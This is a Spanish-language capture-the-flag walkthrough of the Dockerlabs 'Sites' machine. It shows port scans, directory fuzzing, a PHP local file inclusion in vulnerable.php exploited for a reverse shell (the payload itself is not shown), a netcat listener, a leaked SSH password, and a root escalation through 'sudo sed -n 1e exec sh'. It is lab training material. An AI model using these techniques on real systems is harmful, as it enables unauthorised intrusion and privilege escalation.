Sites es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.3.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.3 [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 21:07 CEST Initiating ARP Ping Scan at 21:07 Scanning 172.17.0.3 [1 port] Completed ARP Ping Scan at 21:07, 0.05s elapsed (1 total hosts) Initiating SYN Stealth Scan at 21:07 Scanning 172.17.0.3 [65535 ports] Discovered open port 22/tcp on 172.17.0.3 Discovered open port 80/tcp on 172.17.0.3 Completed SYN Stealth Scan at 21:07, 0.75s elapsed (65535 total ports) Nmap scan report for 172.17.0.3 Host is up, received arp-response (0.0000070s latency). Scanned at 2024-08-05 21:07:04 CEST for 0s Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:03 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.92 seconds Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
┌──(kali㉿kali)-[~] └─$ nmap -p22,80 -sCV 172.17.0.3 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 21:07 CEST Nmap scan report for 172.17.0.3 Host is up (0.00014s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 cb:8f:50:db:6d:d8:d4:ac:bf:54:b0:62:12:7c:f0:01 (ECDSA) |_ 256 ca:6b:c7:0c:2a:d6:0e:3e:ff:c4:6e:61:ac:35:db:01 (ED25519) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-title: Configuraci\xC3\xB3n de Apache y Seguridad en Sitios Web |_http-server-header: Apache/2.4.58 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.11 seconds |
Fuzzeamos la web para ver que carpetas /archivos nos encontramos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
┌──(kali㉿kali)-[~] └─$ feroxbuster --url http://172.17.0.3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.3 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://172.17.0.3 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.3 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, html] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 9l 31w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 9l 28w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 86l 159w 1202c http://172.17.0.3/styles.css 200 GET 53l 361w 3591c http://172.17.0.3/ 200 GET 53l 361w 3591c http://172.17.0.3/index.html 200 GET 1l 7w 37c http://172.17.0.3/vulnerable.php [###########>--------] - 87s 365087/661641 0s found:4 errors:0 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_172_17_0_3-1722883891.state ... [###########>--------] - 87s 365375/661641 0s found:4 errors:0 [###########>--------] - 87s 365295/661638 4193/s http://172.17.0.3/ |
Encontramos vulnerable.php asi que accedemos
Nos indica que le tenemos que pasar un parametro, o bien page o username, lo primero que haremos sera ver el codigo de la web a traves de un php wrapper
El codigo de la web es el siguiente, que basicamente hace includes
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<?php if (isset($_GET['page'])) { $page = $_GET['page']; include($page); } else if (isset($_GET['user'])) { $user = $_GET['user']; // Registra al usuario en el archivo de logs error_log("User: " . $user); echo "Hello, " . htmlspecialchars($user); } else { echo "Please provide a page or a username."; } ?> |
Vamos a probar con php filter chain, creamos el payload
ç
Y se lo pasaremos con burpsuite, teniendo en cuenta que tenemos que levantar un servicio http por el puerto 80 y en escucha por el puerto 1234, dado que s es una reverse shell
Entramos como www-data
|
1 2 3 4 5 6 7 |
──(kali㉿kali)-[~] └─$ nc -vnlp 1234 listening on [any] 1234 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.3] 40610 bash: cannot set terminal process group (24): Inappropriate ioctl for device bash: no job control in this shell www-data@793904317a86:/var/www/html$ |
Estando en el mismo directorio, nos encontramos un archivo un tanto sospechoso
|
1 2 3 4 |
www-data@793904317a86:/var/www/html$ cat archivitotraviesito Muy buen, has entendido el funcionamiento de un LFI y los archivos interesantes a visualizar dentro de apache, ahor te proporciono el acceso por SSH, pero solo la password, para practicar un poco de bruteforce (para variar) lapasswordmasmolonadelacity |
Escalamos al usuario chocolate que hemos visto en passwd
|
1 2 3 4 |
www-data@793904317a86:/var/www/html$ cat /etc/passwd|grep sh$ root:x:0:0:root:/root:/bin/bash ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash chocolate:x:1001:1001:,,,:/home/chocolate:/bin/bash |
Entramos por ssh y nos convertimos en root gracias a que tenemos permisos de sudo con sed
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
┌──(kali㉿kali)-[~/php_filter_chain_generator] └─$ ssh chocolate@172.17.0.3 chocolate@172.17.0.3's password: Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.6.15-amd64 x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/pro This system has been minimized by removing packages and content that are not required on a system that users do not log into. To restore this content, you can run the 'unminimize' command. The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. chocolate@793904317a86:~$ sudo -l Matching Defaults entries for chocolate on 793904317a86: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User chocolate may run the following commands on 793904317a86: (ALL) NOPASSWD: /usr/bin/sed chocolate@793904317a86:~$ sudo /usr/bin/sed -n '1e exec sh 1>&0' /etc/hosts # id uid=0(root) gid=0(root) groups=0(root) # |
